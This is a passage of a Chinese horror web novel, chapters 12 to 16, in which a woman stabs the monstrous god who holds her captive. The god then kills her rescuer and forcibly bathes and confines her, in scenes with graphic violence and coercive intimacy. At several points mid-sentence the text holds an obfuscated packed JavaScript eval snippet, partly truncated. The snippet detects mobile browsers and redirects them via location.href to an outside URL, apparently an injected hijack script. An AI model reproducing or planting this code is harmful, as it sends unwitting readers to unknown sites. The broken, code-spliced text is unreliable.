见她满脸戒备不搭腔,青年弯了弯眼睛,双指夹住一张旧照片,亮在楚黎面前。 照片边缘泛黄,画质不算清晰,背景是古朴肃穆的中式建筑。 入镜的有十多个人,打扮奇特,像某种少数民族。站在中央的人身形瘦小,衣服繁重,脸上扣着一副神秘诡异的面具。 楚黎的视线扫过照片,在看见某一张脸时,瞳孔一缩。 扎双麻花辫的少女面容姣好,冷淡望向镜头,长相与她有七分像。 “妈……”她喃喃一声,用力抢过照片,一寸一寸查看。 的确是一张旧照片,少女旁边的一对中年人长得也与她有几分像。 楚黎抬头盯着青年:“你是谁?” 青年摘下帽子,表情渐渐严肃:“我姓楚,楚嵊,是来救你的人。” 12. 第十二章 “我只能屏蔽它十五分钟。”楚嵊望向她手腕的红绳铜钱,目光隐隐忌惮,“所以长话短说。” “你的母亲楚若羡是巫傩楚氏本家的血脉,二十五年前,她与你的外祖外祖母闹矛盾,一气之下离家不回。楚氏有族规,未经允许离家的后辈终身不得再回来。” “巫傩楚氏自古供奉神明,但神明行事越来越残忍暴戾,派去供奉的族人惨遭屠戮。楚氏一族只好设法将其封在祖祠内。没想到神明破开了封印,部分力量脱离本家范围,我们追到了这,发现祂竟然盯上你。” “祂绝非善类,随时可能会杀了你。无论怎么说,羡姨也是本家血脉,你也是我们楚氏的同族。大傩让我务必把你救出来,所以我是来帮你的。” 过多的信息让楚黎的大脑陷入混乱。 她最近好不容易才接受世界上有超自然存在,现在又冒出一个自称姓楚的人,说了一堆电视剧里才会出现的话。 “大傩……?” “这位就是大傩,善傩术,通阴阳。”楚嵊点了点照片中央戴神秘面具的瘦小身影。 楚黎默然观察了他一会。 冒着风险先来见她,一定是有事要她亲自做,极有可能是危险的事。否则楚嵊完全可以和一起来的同伴消灭掉那只怪物,再告诉她真相。 但也没得选了。 至少楚嵊是人,能叫出母亲的名字,还有老照片。 “需要我做什么?” 楚嵊一直在暗中观察楚黎的反应,听见这句,心中松了口气,掏出一只小臂长的木盒。 木盒样式普通,铜搭扣,无花纹,像街边文玩摊买东西附赠的。 他语速飞快:“盒子里的匕首被大傩施过巫术,能重伤他的分身。三天后的凌晨乌云遮月,你找机会用匕首捅进心脏。” “……我?”楚黎匪夷所思指了指自己。 开什么玩笑,不是说来救她吗?这是送个道具,就让她自己去打boss。 楚嵊苦笑,解释道:“我们根本无法接近祂,只有祂受伤,我们才能用傩术镇压。” “你别担心,只要捅一刀,接下来的事情有我们善后,绝对不让你出事。” 十五分钟转瞬即逝。 楚嵊踩着点嘱咐几句,又送了楚黎一张拇指大的纸人,背面绘有暗红的神秘符文。告诉她这是替身纸人,如果那只怪物想伤害她,纸人可以代伤。 咖啡店门上的小铜铃随着玻璃门开合叮铃响动,店内客人只剩楚黎一人。 他们自顾自做饮品,像是完全没听见这场古怪的对话,也没注意到匆匆进来又匆匆离去的楚嵊。 楚黎喝掉最后一口果茶,把木盒塞进包内,平静转身离去。 * 别墅外的天一点点暗沉,挂钟沉默转动。 楚黎把木盒藏进装满化妆品的抽屉,在卧室发了会呆后,去浴室洗漱,然后早早就上床,强迫自己入睡。 今天的经历像在坐过山车,让她精疲力尽,没躺一会就昏沉睡着。 在梦里,楚黎在没开灯的别墅里奔跑,唯一光源只有窗外惨白的月光,身后是一团看不清具体形象的翻涌黑影。 “呼呼……” 她跑得力竭,肺部像要炸开似的。 无论再怎么奔跑,身后那团东西如影随形。 一道触手般的黑影倏地伸出,冷冰冰缠在脚腕上。楚黎失去平衡,狼狈摔在地面,巨大的拉力将她往后拖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586285|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰凉的手钳住肩膀,将她翻了个面。 楚黎仰面躺在地面,披着人皮的怪物半跪下来,一手按住她的肩,另一只手握着匕首。 雪白的刀刃折射月光,亮得晃眼。 刀尖挑破衣服,抵在心口上。 那张过于完美的脸庞肤色雪白,像美术馆陈列的石膏塑像,漆黑眼瞳嵌在上面,直勾勾盯着楚黎。 手指轻柔抚摸她的侧脸。 他缓缓笑起来,语气温和:“抓到了。” 楚黎被困在噩梦里,久久无法醒来。 房间门的把手无声往下压,因为反锁,门推不开。门外的人尝试了一次后,直接穿过了房门。 西装革履的身影走近大床。 被子鼓起一团,床上的人蜷缩在床沿,双眼紧闭,呼吸急促。 觋楚单腿压上床,弯腰凑近,曲起手指拭去楚黎额角的冷汗,然后伸入口中,慢条斯理舔舐掉。 “……!”颤动的眼皮猛地睁开。 楚黎眼前一片漆黑,冷汗打湿了碎发,冰冷的触感在脸上轻抚。 “做噩梦了?”如梦里一样温和的声音抵着耳边响起。 心脏像是被无形的手狠狠攥了一下,楚黎失声尖叫,下意识往后躲。 身后是床沿,她仰面栽下去。 在彻底摔下床之前,一只手将她轻松捞回来。 楚黎被压在怀中,面颊贴着冰冷挺括的西装面料,感受到对方的鼻尖和唇流连在她的肩颈部位。 她的脖子被舔了一下,留下温热濡湿的触感。 箍住腰身的手收紧了一点。 觋楚的声音低沉温和:“黎黎,你似乎瞒着我,见了不该见的人。” 13. 第十三章 “黎黎,你今天见了谁?” 温和话语似毒蛇吐出信子,一点点绞紧楚黎的心脏。 卧室静得只有中央空调细微的运作声。 “桐桐。”楚黎努力放松喉咙肌肉,让声音听起来自然,“你不是知道吗?” 冰凉指腹按住她的颈侧,觋楚缓慢揉捏,感受手下的血管急促跃动,“听说人类在欺骗时,心脏会跳得比平常快。” “跳得好快,是在说谎吗?” 圈住后腰的手像铁箍,将楚黎完全压在怀中,看不见他的表情,只能听见依然温和的声音。 被怪物抱在怀里,楚黎很想吐。 三天,只要再周旋三天。 “恐惧也会使人心跳变快。” 那只怪物松开了她,用视线逡巡她的表情,疑惑歪头:“黎黎,我对你不好吗,为什么要害怕?” “……” 怪物果然是怪物,即使披上人皮也理解不了人的情绪。 除了没要她的命,楚黎看不出他的丁点好。 觋楚盯着在黑暗里沉默的她,视线黏在色泽浅淡的唇上,再一次感到饥饿。 在暴露身份后,他再也没得到过吻。 面皮在眨眼间蠕动,楚黎撑住床垫,下意识往后挪,惊疑不定盯着眼前的“霍修”。 她往后退,觋楚便往前逼近。 “你看,是你喜欢的皮囊,会高兴一些吗?” 高兴之余,能否再主动吻他? 眼前的脸和地下室那张僵硬青白的脸不断重合,楚黎每一寸骨骼都在颤抖,她用力一推,几乎是吼一般开口:“别用这张脸!” 觋楚顺着推力摔下床,顶着霍修的皮爬上床。 “为什么?” “黎黎不是喜欢这张脸吗?” 他的表情温和含笑,漆黑瞳仁像深渊,充斥着阴暗黏腻的贪欲,几乎要溢出。 这一幕给楚黎带来的冲击力不亚于贞子往外爬。 她很想立刻打开木盒,把匕首捅进怪物的心脏。 极度恐惧之下,生理性泪光盛满眼眶,她盯着快要鼻尖相贴的脸,喃喃道:“……你到底想干什么?” 想体验折磨人类直到精神崩溃? 还是想活生生吓死她? 觋楚拭去她的泪光,眼里有茫然:“我只是希望你不要害怕。” “黎黎是觉得,我和他不同?” “没关系,我已经完整读取了他的记忆,你可以将我当成他。就像之前一样,我们不是相处得很好吗?” 楚黎几乎要笑出来了。 得知霍修的本性后,她已经没有半点眷恋,看见这张脸只有厌恶。 他竟然以为,她还会喜欢霍修? 他到底想做什么?和她玩人类的恋爱游戏? 楚黎面无表情,声音沙哑:“我不想看见这张脸。” 见她真的抵触,觋楚换掉下霍修的皮,想要拥抱她,给予安慰。 在读取的记忆里,这样做是有效的。 楚黎如同刺猬挥开伸来的手,缩到床头角落,警惕盯着觋楚。 在她以为怪物会采取强制举动时,他只是稍稍碰了一下她脸颊旁的发丝,低沉柔和道:“黎黎,晚安。” 觋楚沉默下床,单手解开领带,又摘下眼镜,抱起睡衣进了浴室。 楚黎紧绷的肌肉慢慢放松。 很快意识到,他似乎还算在意她说的话。 为了验证猜想,她熬着没睡。 浴室门再次推开时,水雾氤氲,怪物捏了一副非常逼真的人类躯体,此刻被热气蒸得面颊微红,发丝和睫毛都沾了水汽。 楚黎:“你去客房睡。” 觋楚目露疑惑:“为什么?” 楚黎紧盯他的所有反应:“我想你去客房睡,这样我会高兴。” 分明是完全不情愿的,但静默片刻后,觋楚同意了她的要求。 房门开了又关闭,卧室安静下来。 楚黎盯着房门,眼里的光一点点亮起来。 她好像知道该怎么和这只怪物相处了。 * 接下来三天,觋楚都没能再睡上主卧的床。 他不明白,事情为什么会变得这样糟,明明他只是希望讨楚黎开心。 于是将一切原因归结在霍修身上,并后悔当时处理尸体太干脆,应该用触肢将他拍成泥。 更糟的是,楚黎开始不允许他肢体触碰。 理由永远都是“这样我会不高兴”。 饥饿感与日俱增,觋楚忍耐着,只能用潮湿黏腻的目光,缓慢舔舐她的肌肤。 楚黎很清晰感受到了怪物温和表象下的躁动。 失明时的窥伺视线开始频繁出现,像有实质,一寸一寸舔舐她裸露的肌肤。 她不在意,因为一切很快要结束了。 三天后的夜晚云层堆积,将夜空遮得严严实实,空气弥漫着潮湿气息,混合着泥土与草木的味道,闷热难闻。 这一晚,楚黎邀请觋楚看电影。 影片时长两个半小时,两人同坐在沙发上,一楼关了灯,投影里丧尸横行,人类在末日艰难求生。 觋楚闻嗅着身旁传来的淡淡香气,饥饿感到达顶峰,他紧盯着随意搭在抱枕上的手,喉结滚动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586286|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纤长、白皙、柔软。 冰凉触感缓缓覆在手背上,楚黎盯着电影内容,心脏在砰砰跳动,默许了他的行为,语气平静自然:“看完电影之后,我有礼物要送给你。” 握住手的力度一下子加重。 觋楚很快放轻力度,这幅人类的身躯像摄取过多糖分,有几分轻飘飘的感觉。他笑得温文尔雅,面皮下似乎有异物蠕动:“我很期待。” 这两个半小时,楚黎和怪物来说都过得很漫长。 电影终于播放到结尾,客厅亮起等,挂钟的时针与分钟即将在“12”重合。 楚黎抽回手,不动声色在衣服上蹭了蹭手背,“去卧室。” 身后的脚步声亦步亦趋跟随她。 楚黎把他按坐在梳妆台前,镜子倒映出两人的身影,她扯了扯唇角:“在我让你睁眼之前,不能偷看。” 觋楚一眨不眨盯着她,面上浮现笑容:“好。”随后顺从闭上眼,唇角弯起。 窸窸窣窣间,抽屉拉开,楚黎从一堆化妆品深处取出木盒,并随时注意觋楚的动静。 他由始至终都闭着眼,唇边含笑。 “咔哒”一声木盒打开,里面躺着一把通体乌黑,刀刃遍布猩红纹路的匕首。 楚黎抓起匕首,心脏跳得她几乎作呕。 “噗嗤——” 刀刃毫无阻碍捅进心脏。 一簇血花溅花镜面,从镜子里看,两人的面容如同染血。 那双闭合的眼缓缓睁开,眼瞳黑沉望不见底,虚伪的温和褪去,只剩下冷酷怪异的非人感。 觋楚透过镜子看楚黎。 那双白皙纤长的手握住刀柄,从指尖到手腕都在颤抖,但刺下的动作丝毫不拖泥带水。 一滴血溅到她的面颊上,像白瓷多了污点。 冰冷的手攥住她的双腕,楚黎拼命往外挣,手上的力度将她的手禁锢在刀柄上。 觋楚抬起眼,注视她惊恐的表情,微微一笑:“这样做,会让你高兴吗?” 不等回答,他握住楚黎的手,将匕首猛地拔出。 “噗嗤!” 觋楚握住她的手,又捅下一刀。 “一、二、三……”他甚至还有闲情计数。 “……松手,松手!”楚黎呼吸急促,精神几乎崩溃,眼泪顺着下颌不断掉下,手掌和匕首都被黏腻温热的血浸泡。 殷红顺着血肉模糊的胸膛涌出,泡进木地板的缝隙,溅得梳妆台与镜面满是鲜红。 觋楚半边脸被血溅红,与雪白的肤色形成对比,如同地狱爬出来的恶鬼,笑着对她说: “高兴吗,黎黎?” 14. 第十四章 刀刃上猩红的纹路顺着伤口爬上觋楚的脖颈、侧脸。 像冰冷瓷器遍布裂纹。 楚黎听见了一种似灼烧的声音。 “楚黎!”肩膀一紧,她踉跄着被向后拽。 觋楚与楚黎交握的手被厚重粘稠的鲜血浸透,稍不留意,她的手就脱离出去。 鲜血横流的胸口上,只插着把乌黑匕首。 他合拢空荡荡的掌心,抬眼看闯入卧室的一群人。 四男一女,一副严阵以待的表情,手持青铜铃,在闯入后立刻起手诀,古老晦涩的语言流淌在房间里。 空气掀起波动,无数的红线从青铜铃生出,铺天盖地压向满身是血的青年。 觋楚身上的猩红纹路更盛,仿佛要融入血肉,将他寸寸消融。 他精心捏造的人类皮囊开始瓦解,半张脸完好,半张脸如扭曲漩涡。细长黑影自他脚下,潮水般铺开。 仿佛有某种奇怪的吸引力,将楚黎的视线钉死在美丽与荒诞并存的脸上。 她想起了梵高的星空,但这比星空图要扭曲千百倍。 正在对付觋楚的几人同时口鼻渗血,目光陷入混乱无序的癫狂。 “戴傩面!小嵊带人走!”女人似乎是几人里的领队,勉强保持了一丝清醒。 楚嵊从混沌状态挣脱,将一副散发着奇异香味的鬼面扣在楚黎脸上,视线黑沉前一刻,她看见几人都戴上了形态各异的鬼面。 也看见了觋楚暴戾攥住红线,安静盯着她,扯了扯唇角,似乎说了一句话。 笑容出现在这张脸上,惊悚无比。 楚黎来不及分辨那句话,楚嵊已经压下她的傩面,拽住她的手臂匆匆逃离。 “轰隆——” 银光撕裂黑沉的夜,积蓄已久的雨轰然落下。 楚黎被囫囵塞进副驾驶,安全带还没系好,车就已经飞驰驶入夜雨。 暴雨如注,车窗外的景色变成大片暗沉色块。 她取下傩面,放在膝盖上,视线恍惚巡视一圈车内,拽出一团纸巾,开始反反复复擦手掌半干不干的血。 “草!这什么鬼天气!” 楚嵊将油门踩到底,眼眶口鼻都有渗血,但顾不上擦。他瞥了眼楚黎,见她面庞如白瓷干净,只有一滴溅在眼下的血。 显然,那也不是她的。 他神情古怪:“你……完全不受祂的影响?” 楚黎低着头,恍若未闻,重复着擦拭的东西。 血,好多血。 擦不干净,怎么办? 染血的纸堆满脚边,擦到最后也没能擦干净。 一些干涸的血渗进掌纹,像猩红的纹路牢牢覆在上面。她忽然很想吐。 楚嵊注意到她的异样,安慰道:“你忍一下,现在不能停车,等回到本家你就安全了。” 楚黎一呼一吸间全是粘稠的血腥味,掐着掌心分散注意力,“你的同伴怎么办?” “他们是本家这代最出色的年轻傩师,不用担心。祂受了重伤露出本相,只是分身而已,他们能对付的。” 这辆车没有车载音乐,无穷无尽的雨敲打车窗,声音单调枯燥。 “你刚刚说我不受影响,是什么意思?” “看见我脸上的血没?”楚嵊苦笑,“祂的本体是人类无法理解的存在,看到本相的人,都会陷入混沌,长时间注视会疯癫到死,只有戴上傩面才能消减部分影响。你当时没有感觉吗?” 楚黎靠着车窗,声音很轻:“只是有点头晕。” 就像看了几眼万花筒那样的头晕。 “这个还你。”她把小纸人还给楚嵊。 拇指大的纸人完好无损,送出去什么样,现在就是什么样。 楚嵊像见了鬼般,差点把车撞在绿化带上。 “我、靠……”他瞪大眼睛,“你捅祂的时候,祂没动手?” 这纸人也是大傩让他转交的,为的就是保楚黎的命,完全没想过它能完好无缺。 楚黎摇摇头,恹恹靠着车窗。 不仅没有,还拽着她的手使劲捅。 想起那一幕,反胃的感觉又涌上来。 楚嵊张了张嘴,不知道该说什么,只好说:“累了就睡吧,到了我再喊你。” 无论是身体还是精神,都已经很疲惫。楚黎合上眼,在轻微晃动里,意识一点点昏沉。 * “轰隆——” 雷声震耳欲聋。 楚黎从光怪陆离的梦中惊醒,两束车灯破不开稠密的雨,这辆车仿佛行驶在一片浓稠的黑暗中。 丝丝缕缕的不安缠绕心脏。 她看向窗外,又扭头看车后。 “我们到哪——” 又是“轰隆”一声,银光短暂撕开暗沉雨幕。 楚黎仿佛被冻在原处,寒气从后背蹿到发梢,惊恐盯着后挡风玻璃。 一道影子似幽灵,随着闪电明灭,短暂消失,又再次出现。 不过是几秒,距离拉近一大截。 从一道模糊的影子,到能看清楚基本轮廓。 闪电转瞬即逝,车外重归漆黑。 一滴汗落在膝头的傩面上,她的声音像呓语:“来了……” 楚嵊:“什么?” 楚黎转动僵硬的脖子,目视前方,两束车灯的尽头,立着一道撑伞身影。 “祂来了。” 那个怪物,追上来了。 车子忽然急刹,车窗外溅起积水,楚黎猝不及防向前扑,被安全带勒得胸腹钝痛。 楚嵊浑身都在颤抖,冷汗顺着额角拼命砸落,他用力拧方向盘,尝试调转方向离开。 车子在这个时候熄火了。 “嗒、嗒、嗒……” 雨中的脚步声格外清晰,踏过雨水,迎着车灯一步步走来。 裁剪合体的西装浸了血,随着他走过,血色在雨水里漫开。 楚嵊的牙齿碰在一起,发出咯咯声,他的瞳孔缩得如同针尖,死亡的铡刀已经抵在脖子上。 不想死…… 他还很年轻,从出生起,就受到大傩的夸赞,是楚家这代的希望。 只要完成这次的任务,大傩的位置或许会落在他头上。 可是他还没做好,为任务丢命的准备! 楚嵊转动眼球,看向表情空白的楚黎,想起临走前大傩说过的话,眼中闪过厉色。 在楚黎还没反应过来时,一把刀抵上喉咙,同时后颈微微刺痛。 楚嵊的唇飞快蠕动了几下,随后牢牢锁住她的肩,另一只手握住短刀压在白皙的脖颈间,像孤注一掷的赌徒:“离开,否则我杀了她!” 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他漫不经心把楚黎腿上的傩面扔开,将她拉起压向怀中,轻轻叹气:“我和你说过,不要随意相信陌生人,好不听话。” 大雨滂沱,楚嵊在凄厉惨叫,她被压在重新披上人皮的怪物怀里,被迫闻着浓郁的血腥气。 “给你报仇,好不好?” 意识到他要做什么,楚黎疯狂挣扎起来,眼泪不断溢出。 “不、不……!别这样,别这样……” 作为接受朴素价值观长大的人,她无法直面有人死在面前,并且死亡还与她有千丝万缕的联系。 “为什么?他想杀你,你却心软。我救了你,可你下手的时候为什么不留情呢。” 楚黎的喉咙像堵了浸湿的海绵,发不出半点声音。 “供奉神明,却背叛神。黎黎,看看叛神的下场。” 觋楚握住她的肩,强硬把她转向混沌癫狂,在地上抽搐的楚嵊。 楚黎发不出声音,只能睁着眼,眼泪争先恐后掉下。 最后一刻,他叹了口气,伸手捂住了她的眼睛。 “噗嗤!” 似烂熟西瓜爆开的声音攥紧楚黎的耳朵里。 觋楚将她揽进怀里,轻拍后背如同安抚,由始至终没让她看见几步之外的一滩烂肉。 “黎黎,回家吧。身上这么脏,回去帮你洗个澡,好不好?” 15. 第十五章 漫长的雷雨还在持续。 觋楚揽着楚黎向前走,空气如水波荡开,眼睛一睁一闭,面前多了一扇门。 雕花门牌很眼熟。 这是楚黎从家里搬出来后,在外面买的小复式,上大学到失明前,她一直住在这。 一缕黑雾侵入门锁,反锁的大门无声敞开。 觋楚收起伞,搁进门口的伞筒,牵着她踏入房门,并按下门侧的灯具开关。 明亮柔和的灯光铺满了装潢温馨的入户区与客厅,鞋柜上憨态可掬的小猫不倒翁摇头晃脑。 楚黎在上车前淋过雨,坐车的时候楚嵊开了空调,湿衣湿发贴在身上,阴冷的雨气似乎渗入骨缝。 雨水的味道和血腥气混在一起,令人作呕。 她连吐的力气都没有了,神经被反复折磨,脑袋晕沉沉,思维也很迟滞,呆呆看着觋楚换上新的拖鞋,弯腰半跪脱掉她脚上湿漉漉的居家凉拖,给她换上兔耳拖鞋。 “以后在这里住。” “……为什么?” 觋楚将她拦腰抱起,步伐平稳上楼,叹气道:“别墅被弄脏了,黎黎应该不会想看见那副样子的。” 弄脏…… 楚黎想起留在别墅里对付他的四人,胃部一阵痉挛。 “他们,都死了?” 觋楚用脚抵开浴室门,将人放在宽敞的洗手台上,双手撑在楚黎身侧,灯光穿过额前微湿的碎发,落下交错阴影。 有一瞬间,阴影仿佛在入蠕动,冷白的皮肤下好似藏着无数阴暗黏腻,蠢蠢欲动的事物。 “跑了一个,黎黎高兴吗?” 这个姿势将楚黎完全禁锢在他身前,她能清晰闻到对方身上厚重的血腥气。 游动的阴影得到指令,打开了热水出口。 浴室很快水雾蒸腾。 冰凉手指顺着楚黎的颈侧下滑,停在睡衣的第一枚纽扣上,慢条斯理地解开。 如果不出门,她在家通常穿睡衣,为了骗取信任,今夜动手前特意没换衣服。丝质长袖睡衣被雨淋湿过,冷冷贴着肌肤。 第一颗扣子解开,露出小片雪白皮肤和锁骨。 “别碰我!”楚黎惊恐地拍开那只手,抓住衣领后退,后背撞上墙面的镜子。 “黎黎。”觋楚微微一笑,神情一如既往温和,镜片后的瞳孔黑沉沉,“我的心情很不好,乖一点,好吗?” 他已经明白了一个道理,过度纵容只会滋养逃离的野心,适当的强硬很要必要。 “你着凉了,自己洗会加重感冒的。”他单手握住楚黎的双腕,无视挣扎,轻松掰开手指。 第二颗、第三颗……丝质睡衣离开肌肤,觋楚的手绕至她身后,解开纤薄背脊上的金属排扣。 觋楚的瞳孔被雪白占据,似浪潮,似绸缎。 心口下一寸有道暗红,像是胎记,在雪白里异常显眼。 喉结轻轻滚动,近乎焦灼的饥饿感在这一刻到达顶峰。 “啪!”楚黎抬手挡住身前,眼眶通红颤抖,用尽力气甩出一巴掌。 觋楚的头偏向一侧,金丝眼镜砸在浴室门上,眼镜腿断成两截。 这一巴掌下去,她的手掌失去知觉,麻得仿佛不存在。 他慢慢扭正头颅,视线像粘稠的沼泽,拽起刚扇完耳光的手,凑到唇边。 猩红舌尖一寸寸舔舐麻木刺痛的手掌、指缝,留下冰凉濡湿的水渍。 “……滚!滚开!” 眼前的场景超出了楚黎的心理承受能力,她拼命往外拽自己的手,发疯般向前踢踹。 舌头恋恋不舍吮吸了一下指尖。 “哗啦——” 楚黎眼前一花,跌进了温热的水里,水没到锁骨处。 觋楚脱下西装外套与马甲,随手扔在地上,里面雪白衬衣几乎被完全染红,紧贴在胸腹上。 浴缸的水晃荡,水面上升,逐渐晕开红色。 漆黑瞳孔在雾气中异常清晰。 楚黎蜷缩到浴缸角落,乌黑湿发黏在苍白的脸与背脊上,眼泪因恐惧滚落,她近乎崩溃:“出去……出去!” “我在帮你。”觋楚扯开领带,解了几颗纽扣,露出脖颈上缓慢消退的猩红纹路,以及被匕首造成的伤口。 翻横血肉里伸出许多细长的黑色触手,血肉不断再生,将它们重新容纳回人类皮囊之下。 楚黎难以用言语描述眼前所见,更无法想象这张人皮下藏着什么。 觋楚挤了一泵洗发水在掌心,柑橘味刺得她鼻腔发酸。沾满泡沫的手揉搓长发时,她猛地挥开,手脚并用往外爬。 浴缸溅起巨大水花。 把楚黎拽回来的是一条阴影,介于实体与虚体之间。它缠在腰间,慢慢褪去伪装,显露原型。 那是一根粗如手腕的黑色触肢,触感冰凉濡湿,里侧有细密的、浅浅的凸起。 它们在兴奋亲吻温热肌肤,但忽然静止不动了。 觋楚盯着雪白后颈上的一枚红点,表情刹那间变得恐怖无比。 指腹按在上面,用力擦过。 红点周围很快红了一片,但它像从肉里长出来那样牢固。 楚黎急促呼吸着,灵魂像完全飘远了,只剩下躯壳在原地,下意识在躲避。 觋楚的表情重归平静,握住她的肩,垂眼舔掉睫毛上的水珠,视线阴暗粘稠:“黎黎,我现在只是想帮你洗干净。” 言下之意很明显,如果再挣扎,或许不止是洗澡。 楚黎僵住。 触肢化作阴影,无声无息潜入黑暗中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586288|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他的手指穿插长发里,揉搓出更多的泡沫,一点点按揉紧绷的头皮。 温热水流从发根流淌到发尾,水面飘起泡沫,很快又被新注入的温水冲走。 洗发水之后是沐浴露,它被均匀涂抹在手掌上,清理每一寸肌肤。 楚黎垂着头,沉默恍惚盯着水面。 水位渐渐下降,宽大浴巾将她裹住,觋楚横抱她走出浴室。 忽略掉那恐怖的视线,他的动作细致轻柔。擦干、换上新睡衣、吹干头发,再抹上山茶花香的护法精油。 觋楚抽空去楼下煮了一碗姜水给楚黎。 “我去洗澡,记得喝完。” 浴室门关上,隔绝了水雾。她捧着碗,想过把它摔出去,但最后还是沉默喝完了。 她不想生病。 生病意味着虚弱、任人摆布。 这里是她的房间,她清楚所有的布局已经物品放置的位置。 楚黎轻手轻脚拉开梳妆台的抽屉,握住一把精致的小剪刀上床,并用被子紧紧裹住自己,试图获取一点稀薄的安全感。 精神与身体已经疲惫到极点,但睡不着。 眼泪打湿了发丝和枕头,她攥紧小剪刀,随时留意浴室的动静。 刚刚所发生的,已经是所能承受的极限。 如果这只怪物还有更恶心的想法,她无法说服自己坦然接受。 浴室门再次打开,脚步声由远及近停在床边,灯光熄灭后,床垫往下陷。 楚黎的心几乎蹦出胸腔,汗浸湿了小剪刀把手,黏得险些握不住。 她感受到觋楚俯身靠近,并拉下了蒙着头的被子。 柔软的纸巾按压在湿漉漉的睫毛上,他低着头,用湿纸巾拭去所有泪痕,再用干纸巾擦拭。 觋楚侧躺下来,从身后将她环抱,把湿漉漉的小剪刀从掌心里抠出来,随意丢到床头柜上。 “锋利的东西不要带上床,容易受伤。” 淡淡的柑橘香气互相缠绕。 楚黎的心重重掉回胸腔,身体因为过度紧绷,放松之后又麻又酸。 他体贴为她按揉僵硬的肌肉,指腹按压酸麻的手臂,力度恰到好处。 “晚安,黎黎。” 潮湿温热的吻落在耳边,和往常一样。 楚黎失神盯着黑暗中的卧室,每一个角落,似乎都有潮水般起伏的影子。 它们铺天盖地,无处不在。 楚黎眨了眨干涩的眼睛,一滴泪滚落。 “……为什么是我?” 这个问题她想了无数次。 世上的人千千万,为什么偏偏是她。 按揉的动作停了一瞬,很快又重新开始,一下一下,耐心至极。 觋楚轻叹:“因为黎黎言而无信。” 16、第十六章 言而无信? 楚黎没想到是这个理由。 她忽然想起失明出院,刚搬去别墅住的时候,那时觋楚还披着霍修的皮,有一天晚上,他讲了一个睡前故事。 ——“很多年前,在林子里遇到过一个迷路的小孩……” 那个食言的孩子,是她? 可觋楚是楚氏本家供奉的神明,她从来没有去过本家,小时候也不曾在森林迷路。 楚黎又想起了陈姨的话。 ——“开口答应就是因呀,种了因就会有果的。” 种种猜测在脑海里盘旋。 她问:“我以前是不是见过你?” 揉捏肩膀的手往下滑,掠过柔软起伏,停留在心口下半寸的位置。 那里有一道指节大小的暗红印子,像是胎记。觋楚隔着轻薄睡裙,缓缓摩挲那一小块皮肤。 “黎黎,这不重要。” 被人所遗忘,意味着不重要。 * 生活似乎回到了从前的样子。 觋楚继续无微不至照顾她,大部分工作搬回新居处理。他很在意楚黎之前说的“破产”,不想让这件事真的发生。 楚黎彻底失去了自由。 无论做什么,都必须在觋楚的视线范围内。 如果之前的她是一只风筝,线在他手里,现在就是整只风筝都被他握住。 生活像一潭望不见底的死水。 楚黎整日恹恹,对什么都失去兴趣,很容易就困倦无力,睡着了也噩梦不断。身体还总是偶尔刺痛,像生理期一样,一阵一阵的。 海市连下了几日的雨,终于迎来晴朗天气。 今天的午饭是番茄鲜虾意面,配一杯鲜榨橙汁,还有一碟糖渍小番茄。 都是偏酸开胃的菜式,分量也不多。 每一份都美味至极,可惜楚黎胃口不佳。 她吃得很慢,没吃几口就觉得胃被塞满了,但还是逼着自己吃了大半。 否则,对面那只怪物会亲手喂。 前几天胃口不好,她晚上只吃了两口就停筷子,怪物直接将她圈在怀里,一口一口亲手喂,直到她完全吃不下为止。 想起这些,心里就泛起一阵恶心。 用餐的过程很安静,之前觋楚还会与她说话,一句回应都得不到后,他渐渐也不说了。 楚黎吃完就走,神情恹恹窝在客厅沙发里,随便打开一部热播剧,让死寂的屋子稍微有点人气。 她一走,觋楚随之停止用餐,摄入人类的食物于他而言毫无用处。 于是将餐具收入厨房,挽起衣袖开始洗碗。 他无法辨别味道,但可以观察楚黎吃饭的细微反应优化菜谱。他自认为,自己现在的厨艺已经到达人类的一流水平。 原本洗碗可以用触肢完成。 它们灵巧繁多,最适合干这些没脑子、浪费时间的家务。 觋楚也这样做了,还被楚黎看见了。 粗细不一的黑色触肢挤满厨房,有条不紊分工,表面覆盖着幽蓝色的诡异纹路。 那一整天,她什么也没吃,饭端到面前就开始吐。 觋楚只好将厨房所有的厨具餐具换新,并承诺不会再使用触肢做家务。 流水声哗哗,他将最后一个餐盘放入碗架,忽然想起什么,叹息一声。 “真烦恼啊。” * 